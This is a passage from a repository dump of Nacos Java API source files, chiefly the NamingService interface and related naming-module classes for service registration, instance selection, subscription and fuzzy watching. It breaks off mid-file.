    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming;\n\nimport com.alibaba.nacos.api.common.ResponseCode;\n\n/**\n * Business response code of naming module\n *\n * <p>Every code stays between 20001 and 29999.\n *\n * @author nkorange\n * @author 1.2.0\n */\npublic class NamingResponseCode extends ResponseCode {\n    \n    /**\n     * The requested resource is not found.\n     */\n    public static final int RESOURCE_NOT_FOUND = 20404;\n    \n    /**\n     * Stop or no need to retry.\n     */\n    public static final int NO_NEED_RETRY = 21600;\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/NamingService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.listener.FuzzyWatchEventWatcher;\nimport com.alibaba.nacos.api.naming.listener.EventListener;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ListView;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.api.naming.selector.NamingSelector;\nimport com.alibaba.nacos.api.selector.AbstractSelector;\n\nimport java.util.List;\nimport java.util.concurrent.Future;\n\n/**\n * Naming Service.\n *\n * @author nkorange\n */\npublic interface NamingService {\n    \n    /**\n     * register an instance to service.\n     *\n     * @param serviceName name of service\n     * @param ip          instance ip\n     * @param port        instance port\n     * @throws NacosException nacos exception\n     */\n    void registerInstance(String serviceName, String ip, int port) throws NacosException;\n    \n    /**\n     * register an instance to service.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param ip          instance ip\n     * @param port        instance port\n     * @throws NacosException nacos exception\n     */\n    void registerInstance(String serviceName, String groupName, String ip, int port) throws NacosException;\n    \n    /**\n     * register an instance to service with specified cluster name.\n     *\n     * @param serviceName name of service\n     * @param ip          instance ip\n     * @param port        instance port\n     * @param clusterName instance cluster name\n     * @throws NacosException nacos exception\n     */\n    void registerInstance(String serviceName, String ip, int port, String clusterName) throws NacosException;\n    \n    /**\n     * register an instance to service with specified cluster name.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param ip          instance ip\n     * @param port        instance port\n     * @param clusterName instance cluster name\n     * @throws NacosException nacos exception\n     */\n    void registerInstance(String serviceName, String groupName, String ip, int port, String clusterName)\n            throws NacosException;\n    \n    /**\n     * register an instance to service with specified instance properties.\n     *\n     * @param serviceName name of service\n     * @param instance    instance to register\n     * @throws NacosException nacos exception\n     */\n    void registerInstance(String serviceName, Instance instance) throws NacosException;\n    \n    /**\n     * register an instance to service with specified instance properties.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param instance    instance to register\n     * @throws NacosException nacos exception\n     */\n    void registerInstance(String serviceName, String groupName, Instance instance) throws NacosException;\n    \n    /**\n     * batch register instance to service with specified instance properties.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param instances   instances to register\n     * @throws NacosException nacos exception\n     * @since 2.1.1\n     */\n    void batchRegisterInstance(String serviceName, String groupName, List<Instance> instances) throws NacosException;\n    \n    /**\n     * batch deRegister instance to service with specified instance properties.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param instances   instances to deRegister\n     * @throws NacosException nacos exception\n     * @since 2.2.0\n     */\n    void batchDeregisterInstance(String serviceName, String groupName, List<Instance> instances) throws NacosException;\n    \n    /**\n     * deregister instance from a service.\n     *\n     * @param serviceName name of service\n     * @param ip          instance ip\n     * @param port        instance port\n     * @throws NacosException nacos exception\n     */\n    void deregisterInstance(String serviceName, String ip, int port) throws NacosException;\n    \n    /**\n     * deregister instance from a service.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param ip          instance ip\n     * @param port        instance port\n     * @throws NacosException nacos exception\n     */\n    void deregisterInstance(String serviceName, String groupName, String ip, int port) throws NacosException;\n    \n    /**\n     * deregister instance with specified cluster name from a service.\n     *\n     * @param serviceName name of service\n     * @param ip          instance ip\n     * @param port        instance port\n     * @param clusterName instance cluster name\n     * @throws NacosException nacos exception\n     */\n    void deregisterInstance(String serviceName, String ip, int port, String clusterName) throws NacosException;\n    \n    /**\n     * deregister instance with specified cluster name from a service.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param ip          instance ip\n     * @param port        instance port\n     * @param clusterName instance cluster name\n     * @throws NacosException nacos exception\n     */\n    void deregisterInstance(String serviceName, String groupName, String ip, int port, String clusterName)\n            throws NacosException;\n    \n    /**\n     * deregister instance with full instance information and default groupName.\n     *\n     * @param serviceName name of service\n     * @param instance    instance\n     * @throws NacosException nacos exception\n     */\n    void deregisterInstance(String serviceName, Instance instance) throws NacosException;\n    \n    /**\n     * deregister instance with full instance information.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param instance    instance information\n     * @throws NacosException nacos exception\n     */\n    void deregisterInstance(String serviceName, String groupName, Instance instance) throws NacosException;\n    \n    /**\n     * get all instances of a service.\n     *\n     * @param serviceName name of service\n     * @return A list of instance\n     * @throws NacosException nacos exception\n     */\n    List<Instance> getAllInstances(String serviceName) throws NacosException;\n    \n    /**\n     * get all instances of a service.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @return A list of instance\n     * @throws NacosException nacos exception\n     */\n    List<Instance> getAllInstances(String serviceName, String groupName) throws NacosException;\n    \n    /**\n     * Get all instances of a service.\n     *\n     * @param serviceName name of service\n     * @param subscribe   if subscribe the service\n     * @return A list of instance\n     * @throws NacosException nacos exception\n     */\n    List<Instance> getAllInstances(String serviceName, boolean subscribe) throws NacosException;\n    \n    /**\n     * Get all instances of a service.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param subscribe   if subscribe the service\n     * @return A list of instance\n     * @throws NacosException nacos exception\n     */\n    List<Instance> getAllInstances(String serviceName, String groupName, boolean subscribe) throws NacosException;\n    \n    /**\n     * Get all instances within specified clusters of a service.\n     *\n     * @param serviceName name of service\n     * @param clusters    list of cluster\n     * @return A list of qualified instance\n     * @throws NacosException nacos exception\n     */\n    List<Instance> getAllInstances(String serviceName, List<String> clusters) throws NacosException;\n    \n    /**\n     * Get all instances within specified clusters of a service.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param clusters    list of cluster\n     * @return A list of qualified instance\n     * @throws NacosException nacos exception\n     */\n    List<Instance> getAllInstances(String serviceName, String groupName, List<String> clusters) throws NacosException;\n    \n    /**\n     * Get all instances within specified clusters of a service.\n     *\n     * @param serviceName name of service\n     * @param clusters    list of cluster\n     * @param subscribe   if subscribe the service\n     * @return A list of qualified instance\n     * @throws NacosException nacos exception\n     */\n    List<Instance> getAllInstances(String serviceName, List<String> clusters, boolean subscribe) throws NacosException;\n    \n    /**\n     * Get all instances within specified clusters of a service.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param clusters    list of cluster\n     * @param subscribe   if subscribe the service\n     * @return A list of qualified instance\n     * @throws NacosException nacos exception\n     */\n    List<Instance> getAllInstances(String serviceName, String groupName, List<String> clusters, boolean subscribe)\n            throws NacosException;\n    \n    /**\n     * Get qualified instances of service.\n     *\n     * @param serviceName name of service.\n     * @param healthy     a flag to indicate returning healthy or unhealthy instances\n     * @return A qualified list of instance\n     * @throws NacosException nacos exception\n     */\n    List<Instance> selectInstances(String serviceName, boolean healthy) throws NacosException;\n    \n    /**\n     * Get qualified instances of service.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param healthy     a flag to indicate returning healthy or unhealthy instances\n     * @return A qualified list of instance\n     * @throws NacosException nacos exception\n     */\n    List<Instance> selectInstances(String serviceName, String groupName, boolean healthy) throws NacosException;\n    \n    /**\n     * Get qualified instances of service.\n     *\n     * @param serviceName name of service\n     * @param healthy     a flag to indicate returning healthy or unhealthy instances\n     * @param subscribe   if subscribe the service\n     * @return A qualified list of instance\n     * @throws NacosException nacos exception\n     */\n    List<Instance> selectInstances(String serviceName, boolean healthy, boolean subscribe) throws NacosException;\n    \n    /**\n     * Get qualified instances of service.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param healthy     a flag to indicate returning healthy or unhealthy instances\n     * @param subscribe   if subscribe the service\n     * @return A qualified list of instance\n     * @throws NacosException nacos exception\n     */\n    List<Instance> selectInstances(String serviceName, String groupName, boolean healthy, boolean subscribe)\n            throws NacosException;\n    \n    /**\n     * Get qualified instances within specified clusters of service.\n     *\n     * @param serviceName name of service\n     * @param clusters    list of cluster\n     * @param healthy     a flag to indicate returning healthy or unhealthy instances\n     * @return A qualified list of instance\n     * @throws NacosException nacos exception\n     */\n    List<Instance> selectInstances(String serviceName, List<String> clusters, boolean healthy) throws NacosException;\n    \n    /**\n     * Get qualified instances within specified clusters of service.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param clusters    list of cluster\n     * @param healthy     a flag to indicate returning healthy or unhealthy instances\n     * @return A qualified list of instance\n     * @throws NacosException nacos exception\n     */\n    List<Instance> selectInstances(String serviceName, String groupName, List<String> clusters, boolean healthy)\n            throws NacosException;\n    \n    /**\n     * Get qualified instances within specified clusters of service.\n     *\n     * @param serviceName name of service\n     * @param clusters    list of cluster\n     * @param healthy     a flag to indicate returning healthy or unhealthy instances\n     * @param subscribe   if subscribe the service\n     * @return A qualified list of instance\n     * @throws NacosException nacos exception\n     */\n    List<Instance> selectInstances(String serviceName, List<String> clusters, boolean healthy, boolean subscribe)\n            throws NacosException;\n    \n    /**\n     * Get qualified instances within specified clusters of service.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param clusters    list of cluster\n     * @param healthy     a flag to indicate returning healthy or unhealthy instances\n     * @param subscribe   if subscribe the service\n     * @return A qualified list of instance\n     * @throws NacosException nacos exception\n     */\n    List<Instance> selectInstances(String serviceName, String groupName, List<String> clusters, boolean healthy,\n            boolean subscribe) throws NacosException;\n    \n    /**\n     * Select one healthy instance of service using predefined load balance strategy.\n     *\n     * @param serviceName name of service\n     * @return qualified instance\n     * @throws NacosException nacos exception\n     */\n    Instance selectOneHealthyInstance(String serviceName) throws NacosException;\n    \n    /**\n     * Select one healthy instance of service using predefined load balance strategy.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @return qualified instance\n     * @throws NacosException nacos exception\n     */\n    Instance selectOneHealthyInstance(String serviceName, String groupName) throws NacosException;\n    \n    /**\n     * select one healthy instance of service using predefined load balance strategy.\n     *\n     * @param serviceName name of service\n     * @param subscribe   if subscribe the service\n     * @return qualified instance\n     * @throws NacosException nacos exception\n     */\n    Instance selectOneHealthyInstance(String serviceName, boolean subscribe) throws NacosException;\n    \n    /**\n     * select one healthy instance of service using predefined load balance strategy.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param subscribe   if subscribe the service\n     * @return qualified instance\n     * @throws NacosException nacos exception\n     */\n    Instance selectOneHealthyInstance(String serviceName, String groupName, boolean subscribe) throws NacosException;\n    \n    /**\n     * Select one healthy instance of service using predefined load balance strategy.\n     *\n     * @param serviceName name of service\n     * @param clusters    a list of clusters should the instance belongs to\n     * @return qualified instance\n     * @throws NacosException nacos exception\n     */\n    Instance selectOneHealthyInstance(String serviceName, List<String> clusters) throws NacosException;\n    \n    /**\n     * Select one healthy instance of service using predefined load balance strategy.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param clusters    a list of clusters should the instance belongs to\n     * @return qualified instance\n     * @throws NacosException nacos exception\n     */\n    Instance selectOneHealthyInstance(String serviceName, String groupName, List<String> clusters)\n            throws NacosException;\n    \n    /**\n     * Select one healthy instance of service using predefined load balance strategy.\n     *\n     * @param serviceName name of service\n     * @param clusters    a list of clusters should the instance belongs to\n     * @param subscribe   if subscribe the service\n     * @return qualified instance\n     * @throws NacosException nacos exception\n     */\n    Instance selectOneHealthyInstance(String serviceName, List<String> clusters, boolean subscribe)\n            throws NacosException;\n    \n    /**\n     * Select one healthy instance of service using predefined load balance strategy.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param clusters    a list of clusters should the instance belongs to\n     * @param subscribe   if subscribe the service\n     * @return qualified instance\n     * @throws NacosException nacos exception\n     */\n    Instance selectOneHealthyInstance(String serviceName, String groupName, List<String> clusters, boolean subscribe)\n            throws NacosException;\n    \n    /**\n     * Subscribe service to receive events of instances alteration.\n     *\n     * @param serviceName name of service\n     * @param listener    event listener\n     * @throws NacosException nacos exception\n     */\n    void subscribe(String serviceName, EventListener listener) throws NacosException;\n    \n    /**\n     * Subscribe service to receive events of instances alteration.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param listener    event listener\n     * @throws NacosException nacos exception\n     */\n    void subscribe(String serviceName, String groupName, EventListener listener) throws NacosException;\n    \n    /**\n     * Subscribe service to receive events of instances alteration.\n     *\n     * @param serviceName name of service\n     * @param clusters    list of cluster\n     * @param listener    event listener\n     * @throws NacosException nacos exception\n     */\n    void subscribe(String serviceName, List<String> clusters, EventListener listener) throws NacosException;\n    \n    /**\n     * Subscribe service to receive events of instances alteration.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param clusters    list of cluster\n     * @param listener    event listener\n     * @throws NacosException nacos exception\n     */\n    void subscribe(String serviceName, String groupName, List<String> clusters, EventListener listener)\n            throws NacosException;\n    \n    /**\n     * Subscribe service to receive events of instances alteration.\n     *\n     * @param serviceName name of service\n     * @param selector    selector of instances\n     * @param listener    event listener\n     * @throws NacosException nacos exception\n     */\n    void subscribe(String serviceName, NamingSelector selector, EventListener listener) throws NacosException;\n    \n    /**\n     * Subscribe service to receive events of instances alteration.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param selector    selector of instances\n     * @param listener    event listener\n     * @throws NacosException nacos exception\n     */\n    void subscribe(String serviceName, String groupName, NamingSelector selector, EventListener listener)\n            throws NacosException;\n    \n    /**\n     * Unsubscribe event listener of service.\n     *\n     * @param serviceName name of service\n     * @param listener    event listener\n     * @throws NacosException nacos exception\n     */\n    void unsubscribe(String serviceName, EventListener listener) throws NacosException;\n    \n    /**\n     * unsubscribe event listener of service.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param listener    event listener\n     * @throws NacosException nacos exception\n     */\n    void unsubscribe(String serviceName, String groupName, EventListener listener) throws NacosException;\n    \n    /**\n     * Unsubscribe event listener of service.\n     *\n     * @param serviceName name of service\n     * @param clusters    list of cluster\n     * @param listener    event listener\n     * @throws NacosException nacos exception\n     */\n    void unsubscribe(String serviceName, List<String> clusters, EventListener listener) throws NacosException;\n    \n    /**\n     * Unsubscribe event listener of service.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param clusters    list of cluster\n     * @param listener    event listener\n     * @throws NacosException nacos exception\n     */\n    void unsubscribe(String serviceName, String groupName, List<String> clusters, EventListener listener)\n            throws NacosException;\n\n    /**\n     * Unsubscribe event listener of service.\n     *\n     * @param serviceName name of service\n     * @param selector    selector of instances\n     * @param listener    event listener\n     * @throws NacosException nacos exception\n     */\n    void unsubscribe(String serviceName, NamingSelector selector, EventListener listener) throws NacosException;\n    \n    /**\n     * Unsubscribe event listener of service.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param selector    selector of instances\n     * @param listener    event listener\n     * @throws NacosException nacos exception\n     */\n    void unsubscribe(String serviceName, String groupName, NamingSelector selector, EventListener listener)\n            throws NacosException;\n    \n    \n    /**\n     * According to matching rules, watch services within a specific scope, and receive notifications when\n     * changes occur in the services within the scope.\n     * When given a fixed group name, watch changes in all services under this group.\n     *\n     * @param groupNamePattern  group name pattern for fuzzy watch\n     * @param listener event listener\n     * @throws NacosException nacos exception\n     */\n    void fuzzyWatch(String groupNamePattern, FuzzyWatchEventWatcher listener) throws NacosException;\n    \n    /**\n     * According to matching rules, watch services within a specific scope, and receive notifications when\n     * changes occur in the services within the scope.\n     * When provided with a fixed group name and pattern of service name, watch changes in services under\n     * this group that match the specified pattern.\n     *\n     * @param serviceNamePattern service name pattern for fuzzy watch\n     * @param groupNamePattern  group name pattern for fuzzy watch\n     * @param listener event listener\n     * @throws NacosException nacos exception\n     */\n    void fuzzyWatch(String serviceNamePattern, String groupNamePattern,\n            FuzzyWatchEventWatcher listener) throws NacosException;\n    \n    /**\n     * According to matching rules, watch services within a specific scope, and receive notifications when\n     * changes occur in the services within the scope.\n     * When given a fixed group name, watch changes in all services under this group.\n     *\n     * @param groupNamePattern  group name pattern for fuzzy watch\n     * @param listener event listener\n     * @return matched service keys.\n     * @throws NacosException nacos exception\n     */\n    Future<ListView<String>> fuzzyWatchWithServiceKeys(String groupNamePattern, FuzzyWatchEventWatcher listener) throws NacosException;\n    \n    /**\n     * According to matching rules, watch services within a specific scope, and receive notifications when\n     * changes occur in the services within the scope.\n     * When provided with a fixed group name and pattern of service name, watch changes in services under\n     * this group that match the specified pattern.\n     *\n     * @param serviceNamePattern service name pattern for fuzzy watch\n     * @param groupNamePattern  group name pattern for fuzzy watch\n     * @param listener event listener\n     * @return matched service keys.\n     * @throws NacosException nacos exception\n     */\n    Future<ListView<String>> fuzzyWatchWithServiceKeys(String serviceNamePattern, String groupNamePattern,\n            FuzzyWatchEventWatcher listener) throws NacosException;\n    \n    /**\n     * Cancel fuzzy watch, and remove event listener of a pattern.\n     *\n     * @param groupNamePattern  group name for fuzzy watch\n     * @param listener event listener\n     * @throws NacosException nacos exception\n     */\n    void cancelFuzzyWatch(String groupNamePattern, FuzzyWatchEventWatcher listener) throws NacosException;\n    \n    /**\n     * Cancel fuzzy watch, and remove event listener of a pattern.\n     *\n     * @param serviceNamePattern service name pattern for fuzzy watch\n     * @param groupNamePattern fixed group name for fuzzy watch\n     * @param listener event listener\n     * @throws NacosException nacos exception\n     */\n    void cancelFuzzyWatch(String serviceNamePattern, String groupNamePattern, FuzzyWatchEventWatcher listener) throws NacosException;\n    \n    /**\n     * Get all service names from server.\n     *\n     * @param pageNo   page index\n     * @param pageSize page size\n     * @return list of service names\n     * @throws NacosException nacos exception\n     */\n    ListView<String> getServicesOfServer(int pageNo, int pageSize) throws NacosException;\n    \n    /**\n     * Get all service names from server.\n     *\n     * @param pageNo    page index\n     * @param pageSize  page size\n     * @param groupName group name\n     * @return list of service names\n     * @throws NacosException nacos exception\n     */\n    ListView<String> getServicesOfServer(int pageNo, int pageSize, String groupName) throws NacosException;\n    \n    /**\n     * Get all service names from server with selector.\n     *\n     * @param pageNo   page index\n     * @param pageSize page size\n     * @param selector selector to filter the resource\n     * @return list of service names\n     * @throws NacosException nacos exception\n     * @since 0.7.0\n     * @deprecated after 3.3.0.\n     */\n    @Deprecated\n    ListView<String> getServicesOfServer(int pageNo, int pageSize, AbstractSelector selector) throws NacosException;\n    \n    /**\n     * Get all service names from server with selector.\n     *\n     * @param pageNo    page index\n     * @param pageSize  page size\n     * @param groupName group name\n     * @param selector  selector to filter the resource\n     * @return list of service names\n     * @throws NacosException nacos exception\n     * @deprecated after 3.3.0.\n     */\n    @Deprecated\n    ListView<String> getServicesOfServer(int pageNo, int pageSize, String groupName, AbstractSelector selector)\n            throws NacosException;\n    \n    /**\n     * Get all subscribed services of current client.\n     *\n     * @return subscribed services\n     * @throws NacosException nacos exception\n     */\n    List<ServiceInfo> getSubscribeServices() throws NacosException;\n    \n    /**\n     * get server health status.\n     *\n     * @return is server healthy\n     */\n    String getServerStatus();\n    \n    /**\n     * Shutdown the resource service.\n     *\n     * @throws NacosException exception.\n     */\n    void shutDown() throws NacosException;\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/PreservedMetadataKeys.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming;\n\n/**\n * Some keys of metadata that are recognized by Nacos.\n *\n * @author nkorange\n * @since 1.0.0\n */\npublic class PreservedMetadataKeys {\n    \n    /**\n     * The key to indicate the registry source of service instance, such as Dubbo, SpringCloud, etc.\n     */\n    public static final String REGISTER_SOURCE = \"preserved.register.source\";\n    \n    public static final String HEART_BEAT_TIMEOUT = \"preserved.heart.beat.timeout\";\n    \n    public static final String IP_DELETE_TIMEOUT = \"preserved.ip.delete.timeout\";\n    \n    public static final String HEART_BEAT_INTERVAL = \"preserved.heart.beat.interval\";\n    \n    public static final String INSTANCE_ID_GENERATOR = \"preserved.instance.id.generator\";\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/ability/ClientNamingAbility.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.ability;\n\nimport java.io.Serializable;\n\n/**\n * naming abilities of nacos client.\n *\n * @author liuzunfei\n * @version $Id: ClientNamingAbility.java, v 0.1 2021年01月24日 00:09 AM liuzunfei Exp $\n */\npublic class ClientNamingAbility implements Serializable {\n\n    private static final long serialVersionUID = 7643941846828882862L;\n\n    private boolean supportDeltaPush;\n    \n    private boolean supportRemoteMetric;\n    \n    public boolean isSupportDeltaPush() {\n        return supportDeltaPush;\n    }\n    \n    public void setSupportDeltaPush(boolean supportDeltaPush) {\n        this.supportDeltaPush = supportDeltaPush;\n    }\n    \n    public boolean isSupportRemoteMetric() {\n        return supportRemoteMetric;\n    }\n    \n    public void setSupportRemoteMetric(boolean supportRemoteMetric) {\n        this.supportRemoteMetric = supportRemoteMetric;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/ability/ServerNamingAbility.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.ability;\n\nimport java.io.Serializable;\nimport java.util.Objects;\n\n/**\n * naming abilities of nacos server.\n *\n * @author liuzunfei\n * @version $Id: ServerNamingAbility.java, v 0.1 2021年01月24日 00:09 AM liuzunfei Exp $\n */\npublic class ServerNamingAbility implements Serializable {\n    \n    private static final long serialVersionUID = 8308895444341445512L;\n    \n    /**\n     * Nacos server can use SOFA-Jraft to handle persist service and metadata.\n     */\n    private boolean supportJraft;\n    \n    public boolean isSupportJraft() {\n        return supportJraft;\n    }\n    \n    public void setSupportJraft(boolean supportJraft) {\n        this.supportJraft = supportJraft;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (!(o instanceof ServerNamingAbility)) {\n            return false;\n        }\n        ServerNamingAbility that = (ServerNamingAbility) o;\n        return supportJraft == that.supportJraft;\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(supportJraft);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/listener/AbstractEventListener.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.listener;\n\nimport java.util.concurrent.Executor;\n\n/**\n * Abstract event listener, to support handle event by user custom executor.\n *\n * @author horizonzy\n * @since 1.4.1\n */\npublic abstract class AbstractEventListener implements EventListener {\n    \n    /**\n     * Get executor for execute this receive.\n     *\n     * @return Executor\n     */\n    public Executor getExecutor() {\n        return null;\n    }\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/listener/AbstractFuzzyWatchEventWatcher.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.listener;\n\nimport java.util.concurrent.Executor;\n\n/**\n * Abstract fuzzy watch event listener, to support handle event by user custom executor.\n *\n * @author tanyongquan\n */\npublic abstract class AbstractFuzzyWatchEventWatcher implements FuzzyWatchEventWatcher, FuzzyWatchLoadWatcher {\n    \n    @Override\n    public Executor getExecutor() {\n        return null;\n    }\n    \n    @Override\n    public void onPatternOverLimit() {\n        //do nothing default\n    }\n    \n    @Override\n    public void onServiceReachUpLimit() {\n        //do nothing default\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/listener/Event.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.listener;\n\n/**\n * Event Interface.\n *\n * @author nkorange\n */\npublic interface Event {\n\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/listener/EventListener.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.listener;\n\n/**\n * Event Listener.\n *\n * @author Nacos\n */\npublic interface EventListener {\n    \n    /**\n     * callback event.\n     *\n     * @param event event\n     */\n    void onEvent(Event event);\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/listener/FuzzyWatchChangeEvent.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.listener;\n\n/**\n * Fuzzy Watch Notify Event.\n *\n * @author tanyongquan\n */\npublic class FuzzyWatchChangeEvent implements Event {\n    \n    private String serviceName;\n    \n    private String groupName;\n    \n    private String namespace;\n    \n    private String changeType;\n    \n    private String syncType;\n    \n    public FuzzyWatchChangeEvent() {\n    }\n    \n    public FuzzyWatchChangeEvent(String serviceName, String groupName, String namespace, String changeType,\n            String syncType) {\n        this.changeType = changeType;\n        this.serviceName = serviceName;\n        this.groupName = groupName;\n        this.namespace = namespace;\n        this.syncType = syncType;\n    }\n    \n    public String getServiceName() {\n        return 